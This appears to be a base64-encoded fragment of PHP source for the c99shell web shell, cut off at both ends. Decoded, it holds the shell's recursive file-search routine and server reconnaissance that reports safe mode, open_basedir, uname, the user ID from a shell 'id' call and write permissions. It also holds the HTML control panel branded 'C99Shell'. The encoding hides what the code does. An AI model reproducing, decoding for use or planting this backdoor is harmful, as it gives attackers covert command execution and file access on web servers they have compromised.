ICAgICAgICAgICAgaWYgKGNvdW50KCRyZXN1bHRbImxpbWl0Il0pID09IDEpDQogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcmVz
dWx0WyJsaW1pdCJdID0gYXJyYXkoDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3VsdFsibGltaXQi
XVswXQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB1bnNldCgkYXJyWyRr
XSwgJGFyclskayArIDFdKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAg
ICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAg
IGVsc2UNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAg
ICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgaWYgKCFmdW5jdGlvbl9leGlzdHMoImM5
OWZzZWFyY2giKSkNCiAgICB7DQogICAgICAgIGZ1bmN0aW9uIGM5OWZzZWFyY2goJGQpDQogICAg
ICAgIHsNCiAgICAgICAgICAgIGdsb2JhbCAkZm91bmQ7DQogICAgICAgICAgICBnbG9iYWwgJGZv
dW5kX2Q7DQogICAgICAgICAgICBnbG9iYWwgJGZvdW5kX2Y7DQogICAgICAgICAgICBnbG9iYWwg
JHNlYXJjaF9pX2Y7DQogICAgICAgICAgICBnbG9iYWwgJHNlYXJjaF9pX2Q7DQogICAgICAgICAg
ICBnbG9iYWwgJGE7DQogICAgICAgICAgICBpZiAoc3Vic3RyKCRkLCAtMSkgIT0gRElSRUNUT1JZ
X1NFUEFSQVRPUikNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkZCAuPSBESVJFQ1RP
UllfU0VQQVJBVE9SOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJGggPSBvcGVuZGlyKCRk
KTsNCiAgICAgICAgICAgIHdoaWxlICgoJGYgPSByZWFkZGlyKCRoKSkgIT09IGZhbHNlKQ0KICAg
ICAgICAgICAgew0KICAgICAgICAgICAgICAgIGlmICgkZiAhPSAiLiIgJiYgJGYgIT0gIi4uIikN
CiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICRib29sID0gKGVtcHR5KCRh
WyJuYW1lX3JlZ2V4cCJdKSBhbmQgc3RycG9zKCRmLCAkYVsibmFtZSJdKSAhPT0gZmFsc2UpIHx8
ICgkYVsibmFtZV9yZWdleHAiXSBhbmQgcHJlZ19tYXRjaCgkYVsibmFtZSJdLCAkZikpOw0KICAg
ICAgICAgICAgICAgICAgICBpZiAoaXNfZGlyKCRkIC4gJGYpKQ0KICAgICAgICAgICAgICAgICAg
ICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkc2VhcmNoX2lfZCsrOw0KICAgICAgICAgICAg
ICAgICAgICAgICAgaWYgKGVtcHR5KCRhWyJ0ZXh0Il0pIGFuZCAkYm9vbCkNCiAgICAgICAgICAg
ICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZm91bmRbXSA9ICRk
IC4gJGY7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZvdW5kX2QrKzsNCiAgICAgICAg
ICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghaXNfbGluaygk
ZCAuICRmKSkNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAg
ICAgICAgICBjOTlmc2VhcmNoKCRkIC4gJGYpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0K
ICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAg
ICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHNlYXJjaF9pX2YrKzsNCiAg
ICAgICAgICAgICAgICAgICAgICAgIGlmICgkYm9vbCkNCiAgICAgICAgICAgICAgICAgICAgICAg
IHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRhWyJ0ZXh0Il0pKQ0K
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgJHIgPSBAZmlsZV9nZXRfY29udGVudHMoJGQgLiAkZik7DQogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIGlmICgkYVsidGV4dF93d28iXSkNCiAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGFbInRl
eHQiXSA9ICIgIiAuIHRyaW0oJGFbInRleHQiXSkgLiAiICI7DQogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkYVsi
dGV4dF9jcyJdKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAkYVsidGV4dCJdID0gc3RydG9sb3dlcigkYVsidGV4
dCJdKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRyID0gc3RydG9sb3dl
cigkcik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgaWYgKCRhWyJ0ZXh0X3JlZ2V4cCJdKQ0KICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAk
Ym9vbCA9IHByZWdfbWF0Y2goJGFbInRleHQiXSwgJHIpOw0KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgJGJvb2wgPSBzdHJwb3MoIiAiIC4gJHIsICRhWyJ0ZXh0Il0sIDEpOw0KICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGlmICgkYVsidGV4dF9ub3QiXSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGJvb2wgPSAhJGJvb2w7DQog
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgaWYgKCRib29sKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQog
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZm91bmRbXSA9ICRkIC4gJGY7DQog
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZm91bmRfZisrOw0KICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0K
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmb3VuZFtdID0gJGQgLiAk
ZjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZvdW5kX2YrKzsNCiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAg
ICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAg
ICAgICBjbG9zZWRpcigkaCk7DQogICAgICAgIH0NCiAgICB9DQogICAgaWYgKCRhY3QgPT0gImdv
ZmlsZSIpDQogICAgew0KICAgICAgICBpZiAoaXNfZGlyKCRmKSkNCiAgICAgICAgew0KICAgICAg
ICAgICAgJGFjdCA9ICJscyI7DQogICAgICAgICAgICAkZCA9ICRmOw0KICAgICAgICB9DQogICAg
ICAgIGVsc2UNCiAgICAgICAgew0KICAgICAgICAgICAgJGFjdCA9ICJmIjsNCiAgICAgICAgICAg
ICRkID0gZGlybmFtZSgkZik7DQogICAgICAgICAgICAkZiA9IGJhc2VuYW1lKCRmKTsNCiAgICAg
ICAgfQ0KICAgIH0NCiAgICBAb2Jfc3RhcnQoKTsNCiAgICBAb2JfaW1wbGljaXRfZmx1c2goMCk7
DQogICAgZnVuY3Rpb24gb25waHBzaHV0ZG93bigpDQogICAgew0KICAgICAgICBnbG9iYWwgJGd6
aXBlbmNvZGUsICRmdDsNCiAgICAgICAgaWYgKCFoZWFkZXJzX3NlbnQoKSBhbmQgJGd6aXBlbmNv
ZGUgYW5kICFpbl9hcnJheSgkZnQsIGFycmF5KA0KICAgICAgICAgICAgImltZyIsDQogICAgICAg
ICAgICAiZG93bmxvYWQiLA0KICAgICAgICAgICAgIm5vdGVwYWQiDQogICAgICAgICkpKQ0KICAg
ICAgICB7DQogICAgICAgICAgICAkdiA9IEBvYl9nZXRfY29udGVudHMoKTsNCiAgICAgICAgICAg
IEBvYl9lbmRfY2xlYW4oKTsNCiAgICAgICAgICAgIEBvYl9zdGFydCgib2JfZ3pIYW5kbGVyIik7
DQogICAgICAgICAgICBlY2hvICR2Ow0KICAgICAgICAgICAgQG9iX2VuZF9mbHVzaCgpOw0KICAg
ICAgICB9DQogICAgfQ0KICAgIGZ1bmN0aW9uIGM5OXNoZXhpdCgpDQogICAgew0KICAgICAgICBv
bnBocHNodXRkb3duKCk7DQogICAgICAgIGV4aXQ7DQogICAgfQ0KICAgIGhlYWRlcigiRXhwaXJl
czogTW9uLCAyNiBKdWwgMTk5NyAwNTowMDowMCBHTVQiKTsNCiAgICBoZWFkZXIoIkxhc3QtTW9k
aWZpZWQ6ICIgLiBnbWRhdGUoIkQsIGQgTSBZIEg6aTpzIikgLiAiIEdNVCIpOw0KICAgIGhlYWRl
cigiQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUiKTsN
CiAgICBoZWFkZXIoIkNhY2hlLUNvbnRyb2w6IHBvc3QtY2hlY2s9MCwgcHJlLWNoZWNrPTAiLCBm
YWxzZSk7DQogICAgaGVhZGVyKCJQcmFnbWE6IG5vLWNhY2hlIik7DQogICAgaWYgKGVtcHR5KCR0
bXBkaXIpKQ0KICAgIHsNCiAgICAgICAgJHRtcGRpciA9IGluaV9nZXQoInVwbG9hZF90bXBfZGly
Iik7DQogICAgICAgIGlmIChpc19kaXIoJHRtcGRpcikpDQogICAgICAgIHsNCiAgICAgICAgICAg
ICR0bXBkaXIgPSAiL3RtcC8iOw0KICAgICAgICB9DQogICAgfQ0KICAgICR0bXBkaXIgPSByZWFs
cGF0aCgkdG1wZGlyKTsNCiAgICAkdG1wZGlyID0gc3RyX3JlcGxhY2UoIlxcIiwgRElSRUNUT1JZ
X1NFUEFSQVRPUiwgJHRtcGRpcik7DQogICAgaWYgKHN1YnN0cigkdG1wZGlyLCAtMSkgIT0gRElS
RUNUT1JZX1NFUEFSQVRPUikNCiAgICB7DQogICAgICAgICR0bXBkaXIgLj0gRElSRUNUT1JZX1NF
UEFSQVRPUjsNCiAgICB9DQogICAgaWYgKGVtcHR5KCR0bXBkaXJfbG9ncykpDQogICAgew0KICAg
ICAgICAkdG1wZGlyX2xvZ3MgPSAkdG1wZGlyOw0KICAgIH0NCiAgICBlbHNlDQogICAgew0KICAg
ICAgICAkdG1wZGlyX2xvZ3MgPSByZWFscGF0aCgkdG1wZGlyX2xvZ3MpOw0KICAgIH0NCiAgICBp
ZiAoQGluaV9nZXQoInNhZmVfbW9kZSIpIG9yIHN0cnRvbG93ZXIoQGluaV9nZXQoInNhZmVfbW9k
ZSIpKSA9PSAib24iKQ0KICAgIHsNCiAgICAgICAgJHNhZmVtb2RlID0gdHJ1ZTsNCiAgICAgICAg
JGhzYWZlbW9kZSA9ICI8Zm9udCBjb2xvcj1yZWQ+T04gKHNlY3VyZSk8L2ZvbnQ+IjsNCiAgICB9
DQogICAgZWxzZQ0KICAgIHsNCiAgICAgICAgJHNhZmVtb2RlID0gZmFsc2U7DQogICAgICAgICRo
c2FmZW1vZGUgPSAiPGZvbnQgY29sb3I9Z3JlZW4+T0ZGIChub3Qgc2VjdXJlKTwvZm9udD4iOw0K
ICAgIH0NCiAgICAkdiA9IEBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTsNCiAgICBpZiAoJHYgb3Ig
c3RydG9sb3dlcigkdikgPT0gIm9uIikNCiAgICB7DQogICAgICAgICRvcGVuYmFzZWRpciA9IHRy
dWU7DQogICAgICAgICRob3BlbmJhc2VkaXIgPSAiPGZvbnQgY29sb3I9cmVkPiIgLiAkdiAuICI8
L2ZvbnQ+IjsNCiAgICB9DQogICAgZWxzZQ0KICAgIHsNCiAgICAgICAgJG9wZW5iYXNlZGlyID0g
ZmFsc2U7DQogICAgICAgICRob3BlbmJhc2VkaXIgPSAiPGZvbnQgY29sb3I9Z3JlZW4+T0ZGIChu
b3Qgc2VjdXJlKTwvZm9udD4iOw0KICAgIH0NCiAgICAkc29ydCA9IGh0bWxzcGVjaWFsY2hhcnMo
JHNvcnQpOw0KICAgIGlmIChlbXB0eSgkc29ydCkpDQogICAgew0KICAgICAgICAkc29ydCA9ICRz
b3J0X2RlZmF1bHQ7DQogICAgfQ0KICAgICRzb3J0WzFdID0gc3RydG9sb3dlcigkc29ydFsxXSk7
DQogICAgJERJU1BfU0VSVkVSX1NPRlRXQVJFID0gZ2V0ZW52KCJTRVJWRVJfU09GVFdBUkUiKTsN
CiAgICBpZiAoIXByZWdfbWF0Y2goIlBIUC8iIC4gcGhwdmVyc2lvbigpICwgJERJU1BfU0VSVkVS
X1NPRlRXQVJFKSkNCiAgICB7DQogICAgICAgICRESVNQX1NFUlZFUl9TT0ZUV0FSRSAuPSAiLiBQ
SFAvIiAuIHBocHZlcnNpb24oKTsNCiAgICB9DQogICAgJERJU1BfU0VSVkVSX1NPRlRXQVJFID0g
c3RyX3JlcGxhY2UoIlBIUC8iIC4gcGhwdmVyc2lvbigpICwgIjxhIGhyZWY9XCIiIC4gJHN1cmwg
LiAiYWN0PXBocGluZm9cIiB0YXJnZXQ9XCJfYmxhbmtcIj48Yj48dT5QSFAvIiAuIHBocHZlcnNp
b24oKSAuICI8L3U+PC9iPjwvYT4iLCBodG1sc3BlY2lhbGNoYXJzKCRESVNQX1NFUlZFUl9TT0ZU
V0FSRSkpOw0KICAgIEBpbmlfc2V0KCJoaWdobGlnaHQuYmciLCAkaGlnaGxpZ2h0X2JnKTsNCiAg
ICBAaW5pX3NldCgiaGlnaGxpZ2h0LmNvbW1lbnQiLCAkaGlnaGxpZ2h0X2NvbW1lbnQpOw0KICAg
IEBpbmlfc2V0KCJoaWdobGlnaHQuZGVmYXVsdCIsICRoaWdobGlnaHRfZGVmYXVsdCk7DQogICAg
QGluaV9zZXQoImhpZ2hsaWdodC5odG1sIiwgJGhpZ2hsaWdodF9odG1sKTsNCiAgICBAaW5pX3Nl
dCgiaGlnaGxpZ2h0LmtleXdvcmQiLCAkaGlnaGxpZ2h0X2tleXdvcmQpOw0KICAgIEBpbmlfc2V0
KCJoaWdobGlnaHQuc3RyaW5nIiwgJGhpZ2hsaWdodF9zdHJpbmcpOw0KICAgIGlmICghaXNfYXJy
YXkoJGFjdGJveCkpDQogICAgew0KICAgICAgICAkYWN0Ym94ID0gYXJyYXkoKTsNCiAgICB9DQog
ICAgJGRzcGFjdCA9ICRhY3QgPSBodG1sc3BlY2lhbGNoYXJzKCRhY3QpOw0KICAgICRkaXNwX2Z1
bGxwYXRoID0gJGxzX2FyciA9ICRub3RscyA9IG51bGw7DQogICAgJHVkID0gdXJsZW5jb2RlKCRk
KTsgPz48aHRtbD48aGVhZD48bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9
InRleHQvaHRtbDsgY2hhcnNldD13aW5kb3dzLTEyNTEiPjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRl
bnQtTGFuZ3VhZ2UiIGNvbnRlbnQ9ImVuLXVzIj48dGl0bGU+PD9waHAgZWNobyBnZXRlbnYoIkhU
VFBfSE9TVCIpOyA/PiAtIGM5OXNoZWxsPC90aXRsZT48U1RZTEU+VEQgeyBGT05ULVNJWkU6IDhw
dDsgQ09MT1I6ICNlYmViZWI7IEZPTlQtRkFNSUxZOiB2ZXJkYW5hO31CT0RZIHsgc2Nyb2xsYmFy
LWZhY2UtY29sb3I6ICM4MDAwMDA7IHNjcm9sbGJhci1zaGFkb3ctY29sb3I6ICMxMDEwMTA7IHNj
cm9sbGJhci1oaWdobGlnaHQtY29sb3I6ICMxMDEwMTA7IHNjcm9sbGJhci0zZGxpZ2h0LWNvbG9y
OiAjMTAxMDEwOyBzY3JvbGxiYXItZGFya3NoYWRvdy1jb2xvcjogIzEwMTAxMDsgc2Nyb2xsYmFy
LXRyYWNrLWNvbG9yOiAjMTAxMDEwOyBzY3JvbGxiYXItYXJyb3ctY29sb3I6ICMxMDEwMTA7IGZv
bnQtZmFtaWx5OiBWZXJkYW5hO31URC5oZWFkZXIgeyBGT05ULVdFSUdIVDogbm9ybWFsOyBGT05U
LVNJWkU6IDEwcHQ7IEJBQ0tHUk9VTkQ6ICM3ZDc0NzQ7IENPTE9SOiB3aGl0ZTsgRk9OVC1GQU1J
TFk6IHZlcmRhbmE7fUEgeyBGT05ULVdFSUdIVDogbm9ybWFsOyBDT0xPUjogI2RhZGFkYTsgRk9O
VC1GQU1JTFk6IHZlcmRhbmE7IFRFWFQtREVDT1JBVElPTjogbm9uZTt9QTp1bmtub3duIHsgRk9O
VC1XRUlHSFQ6IG5vcm1hbDsgQ09MT1I6ICNmZmZmZmY7IEZPTlQtRkFNSUxZOiB2ZXJkYW5hOyBU
RVhULURFQ09SQVRJT046IG5vbmU7fUEuTGlua3MgeyBDT0xPUjogI2ZmZmZmZjsgVEVYVC1ERUNP
UkFUSU9OOiBub25lO31BLkxpbmtzOnVua25vd24geyBGT05ULVdFSUdIVDogbm9ybWFsOyBDT0xP
UjogI2ZmZmZmZjsgVEVYVC1ERUNPUkFUSU9OOiBub25lO31BOmhvdmVyIHsgQ09MT1I6ICNmZmZm
ZmY7IFRFWFQtREVDT1JBVElPTjogdW5kZXJsaW5lO30uc2tpbjB7cG9zaXRpb246YWJzb2x1dGU7
IHdpZHRoOjIwMHB4OyBib3JkZXI6MnB4IHNvbGlkIGJsYWNrOyBiYWNrZ3JvdW5kLWNvbG9yOm1l
bnU7IGZvbnQtZmFtaWx5OlZlcmRhbmE7IGxpbmUtaGVpZ2h0OjIwcHg7IGN1cnNvcjpkZWZhdWx0
OyB2aXNpYmlsaXR5OmhpZGRlbjs7fS5za2luMXtjdXJzb3I6IGRlZmF1bHQ7IGZvbnQ6IG1lbnV0
ZXh0OyBwb3NpdGlvbjogYWJzb2x1dGU7IHdpZHRoOiAxNDVweDsgYmFja2dyb3VuZC1jb2xvcjog
bWVudTsgYm9yZGVyOiAxIHNvbGlkIGJ1dHRvbmZhY2U7dmlzaWJpbGl0eTpoaWRkZW47IGJvcmRl
cjogMiBvdXRzZXQgYnV0dG9uaGlnaGxpZ2h0OyBmb250LWZhbWlseTogVmVyZGFuYSxHZW5ldmEs
IEFyaWFsOyBmb250LXNpemU6IDEwcHg7IGNvbG9yOiBibGFjazt9Lm1lbnVpdGVtc3twYWRkaW5n
LWxlZnQ6MTVweDsgcGFkZGluZy1yaWdodDoxMHB4Ozt9aW5wdXR7YmFja2dyb3VuZC1jb2xvcjog
IzgwMDAwMDsgZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjRkZGRkZGOyBmb250LWZhbWlseTogVGFo
b21hOyBib3JkZXI6IDEgc29saWQgIzY2NjY2Njt9dGV4dGFyZWF7YmFja2dyb3VuZC1jb2xvcjog
IzgwMDAwMDsgZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjRkZGRkZGOyBmb250LWZhbWlseTogVGFo
b21hOyBib3JkZXI6IDEgc29saWQgIzY2NjY2Njt9YnV0dG9ue2JhY2tncm91bmQtY29sb3I6ICM4
MDAwMDA7IGZvbnQtc2l6ZTogOHB0OyBjb2xvcjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9t
YTsgYm9yZGVyOiAxIHNvbGlkICM2NjY2NjY7fXNlbGVjdHtiYWNrZ3JvdW5kLWNvbG9yOiAjODAw
MDAwOyBmb250LXNpemU6IDhwdDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtZmFtaWx5OiBUYWhvbWE7
IGJvcmRlcjogMSBzb2xpZCAjNjY2NjY2O31vcHRpb24ge2JhY2tncm91bmQtY29sb3I6ICM4MDAw
MDA7IGZvbnQtc2l6ZTogOHB0OyBjb2xvcjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9tYTsg
Ym9yZGVyOiAxIHNvbGlkICM2NjY2NjY7fWlmcmFtZSB7YmFja2dyb3VuZC1jb2xvcjogIzgwMDAw
MDsgZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjRkZGRkZGOyBmb250LWZhbWlseTogVGFob21hOyBi
b3JkZXI6IDEgc29saWQgIzY2NjY2Njt9cCB7TUFSR0lOLVRPUDogMHB4OyBNQVJHSU4tQk9UVE9N
OiAwcHg7IExJTkUtSEVJR0hUOiAxNTAlfWJsb2NrcXVvdGV7IGZvbnQtc2l6ZTogOHB0OyBmb250
LWZhbWlseTogQ291cmllciwgRml4ZWQsIEFyaWFsOyBib3JkZXIgOiA4cHggc29saWQgI0E5QTlB
OTsgcGFkZGluZzogMWVtOyBtYXJnaW4tdG9wOiAxZW07IG1hcmdpbi1ib3R0b206IDVlbTsgbWFy
Z2luLXJpZ2h0OiAzZW07IG1hcmdpbi1sZWZ0OiA0ZW07IGJhY2tncm91bmQtY29sb3I6ICNCN0Iy
QjA7fWJvZHksdGQsdGggeyBmb250LWZhbWlseTogdmVyZGFuYTsgY29sb3I6ICNkOWQ5ZDk7IGZv
bnQtc2l6ZTogMTFweDt9Ym9keSB7IGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7fTwvc3R5bGU+
PC9oZWFkPjxCT0RZIHRleHQ9I2ZmZmZmZiBib3R0b21NYXJnaW49MCBiZ0NvbG9yPSMwMDAwMDAg
bGVmdE1hcmdpbj0wIHRvcE1hcmdpbj0wIHJpZ2h0TWFyZ2luPTAgbWFyZ2luaGVpZ2h0PTAgbWFy
Z2lud2lkdGg9MD48Y2VudGVyPjxUQUJMRSBzdHlsZT0iQk9SREVSLUNPTExBUFNFOiBjb2xsYXBz
ZSIgaGVpZ2h0PTEgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFk
ZGluZz01IHdpZHRoPSIxMDAlIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBj
MGMwIGJvcmRlcj0xIGJvcmRlcmNvbG9yPSIjQzBDMEMwIj48dHI+PHRoIHdpZHRoPSIxMDElIiBo
ZWlnaHQ9IjE1IiBub3dyYXAgYm9yZGVyY29sb3I9IiNDMEMwQzAiIHZhbGlnbj0idG9wIiBjb2xz
cGFuPSIyIj48cD48Zm9udCBmYWNlPVdlYmRpbmdzIHNpemU9Nj48Yj4hPC9iPjwvZm9udD48YSBo
cmVmPSI8P3BocCBlY2hvICRzdXJsOyA/PiI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iNSI+
PGI+Qzk5U2hlbGwgdi4gPD9waHAgZWNobyAkc2h2ZXI7ID8+PC9iPjwvZm9udD48L2E+PGZvbnQg
ZmFjZT1XZWJkaW5ncyBzaXplPTY+PGI+ITwvYj48L2ZvbnQ+PC9wPjwvY2VudGVyPjwvdGg+PC90
cj48dHI+PHRkPjxwIGFsaWduPSJsZWZ0Ij48Yj5Tb2Z0d2FyZTombmJzcDs8P3BocCBlY2hvICRE
SVNQX1NFUlZFUl9TT0ZUV0FSRTsgPz48L2I+Jm5ic3A7PC9wPjxwIGFsaWduPSJsZWZ0Ij48Yj51
bmFtZSAtYTombmJzcDs8P3BocCBlY2hvIHdvcmR3cmFwKHBocF91bmFtZSgpICwgOTAsICI8YnI+
IiwgMSk7ID8+PC9iPiZuYnNwOzwvcD48cCBhbGlnbj0ibGVmdCI+PGI+PD9waHAgaWYgKCEkd2lu
KQ0KICAgIHsNCiAgICAgICAgZWNobyB3b3Jkd3JhcChteXNoZWxsZXhlYygiaWQiKSAsIDkwLCAi
PGJyPiIsIDEpOw0KICAgIH0NCiAgICBlbHNlDQogICAgew0KICAgICAgICBlY2hvIGdldF9jdXJy
ZW50X3VzZXIoKTsNCiAgICB9ID8+PC9iPiZuYnNwOzwvcD48cCBhbGlnbj0ibGVmdCI+PGI+U2Fm
ZS1tb2RlOiZuYnNwOzw/cGhwIGVjaG8gJGhzYWZlbW9kZTsgPz48L2I+PC9wPjxwIGFsaWduPSJs
ZWZ0Ij48P3BocCAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsIERJUkVDVE9SWV9TRVBBUkFUT1IsICRk
KTsNCiAgICBpZiAoZW1wdHkoJGQpKQ0KICAgIHsNCiAgICAgICAgJGQgPSByZWFscGF0aCgiLiIp
Ow0KICAgIH0NCiAgICBlbHNlaWYgKHJlYWxwYXRoKCRkKSkNCiAgICB7DQogICAgICAgICRkID0g
cmVhbHBhdGgoJGQpOw0KICAgIH0NCiAgICAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsIERJUkVDVE9S
WV9TRVBBUkFUT1IsICRkKTsNCiAgICBpZiAoc3Vic3RyKCRkLCAtMSkgIT0gRElSRUNUT1JZX1NF
UEFSQVRPUikNCiAgICB7DQogICAgICAgICRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7DQogICAg
fQ0KICAgICRkID0gc3RyX3JlcGxhY2UoIlxcXFwiLCAiXFwiLCAkZCk7DQogICAgJGRpc3BkID0g
aHRtbHNwZWNpYWxjaGFycygkZCk7DQogICAgJHBkID0gJGUgPSBleHBsb2RlKERJUkVDVE9SWV9T
RVBBUkFUT1IsIHN1YnN0cigkZCwgMCwgLTEpKTsNCiAgICAkaSA9IDA7DQogICAgZm9yZWFjaCAo
JHBkIGFzICRiKQ0KICAgIHsNCiAgICAgICAgJHQgPSAiIjsNCiAgICAgICAgJGogPSAwOw0KICAg
ICAgICBmb3JlYWNoICgkZSBhcyAkcikNCiAgICAgICAgew0KICAgICAgICAgICAgJHQgLj0gJHIg
LiBESVJFQ1RPUllfU0VQQVJBVE9SOw0KICAgICAgICAgICAgaWYgKCRqID09ICRpKQ0KICAgICAg
ICAgICAgew0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAg
ICAgJGorKzsNCiAgICAgICAgfQ0KICAgICAgICBlY2hvICI8YSBocmVmPVwiIiAuICRzdXJsIC4g
ImFjdD1scyZkPSIgLiB1cmxlbmNvZGUoJHQpIC4gIiZzb3J0PSIgLiAkc29ydCAuICJcIj48Yj4i
IC4gaHRtbHNwZWNpYWxjaGFycygkYikgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gIjwvYj48L2E+
IjsNCiAgICAgICAgJGkrKzsNCiAgICB9DQogICAgZWNobyAiJm5ic3A7Jm5ic3A7Jm5ic3A7IjsN
CiAgICBpZiAoaXNfd3JpdGFibGUoJGQpKQ0KICAgIHsNCiAgICAgICAgJHdkID0gdHJ1ZTsNCiAg
ICAgICAgJHdkdCA9ICI8Zm9udCBjb2xvcj1ncmVlbj5bIG9rIF08L2ZvbnQ+IjsNCiAgICAgICAg
ZWNobyAiPGI+PGZvbnQgY29sb3I9Z3JlZW4+IiAuIHZpZXdfcGVybXMoZmlsZXBlcm1zKCRkKSkg
LiAiPC9mb250PjwvYj4iOw0KICAgIH0NCiAgICBlbHNlDQogICAgew0KICAgICAgICAkd2QgPSBm
YWxzZTsNCiAgICAgICAgJHdkdCA9ICI8Zm9udCBjb2xvcj1yZWQ+WyBSZWFkLU9ubHkgXTwvZm9u
dD4iOw0KICAgICAgICBlY2hvICI8Yj4iIC4gdmlld19wZXJtc19jb2xvcigkZCkgLiAiPC9iPiI7
DQogICAgfQ0KICAgIGlmIChpc19jYWxsYWJsZSgiZGlza19mcmVlX3NwYWNlIikpDQogICAgew0K
ICAgICAgICAkZnJlZSA9IGRpc2tfZnJlZV9zcGFjZSgkZCk7DQogICAgICAgICR0b3RhbCA9IGRp
c2tfdG90YWxfc3BhY2UoJGQpOw0KICAgICAgICBpZiAoJGZyZWUgPT09IGZhbHNlKQ0KICAgICAg
ICB7DQogICAgICAgICAgICAkZnJlZSA9IDA7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCR0b3Rh
bCA9PT0gZmFsc2UpDQogICAgICAgIHsNCiAgICAgICAgICAgICR0b3RhbCA9IDA7DQogICAgICAg
IH0NCiAgICAgICAgaWYgKCRmcmVlIDwgMCkNCiAgICAgICAgew0KICAgICAgICAgICAgJGZyZWUg
